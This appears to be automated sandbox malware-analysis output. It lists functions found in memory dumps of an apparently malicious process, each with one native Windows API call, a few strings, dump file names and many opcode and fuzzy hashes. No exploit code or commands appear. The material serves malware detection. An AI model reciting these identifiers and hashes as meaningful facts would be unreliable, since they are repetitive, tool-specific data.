Uniqueness Score: -1.00%

Function 00098212, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00093B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00093B97,007A002E,00000000,00000060,00000000,00000000), ref: 0009820D

Strings

.z`, xrefs: 000981FD, 00098208

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: bdb439e9e9f672989295ee3e22120b1262c6d8fede0eb050dc31976588f698f8
Instruction ID: 511e1dc93a4f8bca5a19d0913cdee45dc50814ea07dcf5656476d252eb4d646b
Opcode Fuzzy Hash: bdb439e9e9f672989295ee3e22120b1262c6d8fede0eb050dc31976588f698f8
Instruction Fuzzy Hash: 8C11C0B6204208AFCB18CF98DC80EEB77E9AF8C354F158249FA5DD7251C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000981BA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00093B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00093B97,007A002E,00000000,00000060,00000000,00000000), ref: 0009820D

Strings

.z`, xrefs: 000981FD, 00098208

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 2f62ad69dad2b5c51d9831a876845d3aff489b9a994fdd5b5128e22ff949468d
Instruction ID: e4ceb0ae9fcb986b96ad8fe160b9cb2c62d80dacf67585f8d040f3f0a6939ee0
Opcode Fuzzy Hash: 2f62ad69dad2b5c51d9831a876845d3aff489b9a994fdd5b5128e22ff949468d
Instruction Fuzzy Hash: F701EFB2200108AFCB08CF88CC94EEB37A9AF8C744F158248FA0DD7240CA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000981C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00093B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00093B97,007A002E,00000000,00000060,00000000,00000000), ref: 0009820D

Strings

.z`, xrefs: 000981FD, 00098208

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 3953399a447763dc599493f4bbd7d4de33ce8ad3883e721744936cab2f5d3ff5
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: F5F0B6B2201108ABCB08CF88DC85DEB77ADAF8C754F158248FA0D97241C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000982F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(0=,?,?,00093D30,00000000,FFFFFFFF), ref: 00098315

Strings

0=, xrefs: 0009830C, 00098314

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: 0=
API String ID: 3535843008-3357461656
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: ee8d57c7b8349823735f6f48cbcf7e004926b1167d4b78a9965bbbc00e6f8300
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 84D012752002146BD710EF98CC45ED7775CEF44750F154455BA589B242C930F90087E0

Uniqueness

Uniqueness Score: -1.00%

Function 0009826B, Relevance: 1.5, APIs: 1, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00093A11,?,?,?,?,00093A11,FFFFFFFF,?,R=,?,00000000), ref: 000982B5

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e5ed4c48137819f29c4f808c22eef5ffc140a8d9e584e15767566378b1b0dcb4
Instruction ID: 96b2c13c679e74a0e78333ca0a5644f3cd5f35841ca0e3126e6550361a060adf
Opcode Fuzzy Hash: e5ed4c48137819f29c4f808c22eef5ffc140a8d9e584e15767566378b1b0dcb4
Instruction Fuzzy Hash: C2F0F9B2200108ABCB04CF98CC81EEB77A9AF8C314F058648FA1DA7241C630E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00098270, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00093A11,?,?,?,?,00093A11,FFFFFFFF,?,R=,?,00000000), ref: 000982B5

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 26b68e528120a6b9dd8d01e5645173cc0670380afba32790f40ae4e5793e4c23
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 18F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158648BA1D97241DA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000983A0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00082D11,00002000,00003000,00000004), ref: 000983D9

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: b64b3c3fc6ea8456ba2a422ba143758fb0c25bfa3ef310ba33bd823830389be6
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: EAF015B2200208ABCB14DF89CC81EEB77ADAF88750F118548FE0897241CA30F810CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009600C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009600CF

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 009607AC, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009607B7

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0095F9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095F9FB

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0095F900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095F90E

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0095FAB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FAC3

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0095FAD0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FADB

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0095FAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FAF3

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0095FBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FBC3

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0095FB50, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FB5B

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 0095FB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FB73

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0095FC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FC6B

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0095FD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FD9A

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0095FDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FDCB

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0095FED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FEDB

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0095FFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0095FFBF

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 000984C4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00083B93), ref: 000984FD

Strings

.z`, xrefs: 000984EC, 000984F8
*, xrefs: 000984CC

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: *$.z`
API String ID: 3298025750-3367133983
Opcode ID: 55390a5674b2a95dbacc349afe8dd76d7c6dadfac16d707dd5aa33e163b86600
Instruction ID: d41f97010a7fc0031c0e589caa1ad57769f597b90dbdd69d53d3dc4e5d5cd8c6
Opcode Fuzzy Hash: 55390a5674b2a95dbacc349afe8dd76d7c6dadfac16d707dd5aa33e163b86600
Instruction Fuzzy Hash: 4AE06DB16002046FDB24DF69CC49EEB7BACEF85350F058559F948AB242CA31E901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00096EE0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00096F88

Strings

net.dll, xrefs: 00096F51, 00096FD7, 00096FAF, 00096FBB, 00096FE3
wininet.dll, xrefs: 00096F3E, 00096F47

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Sleep
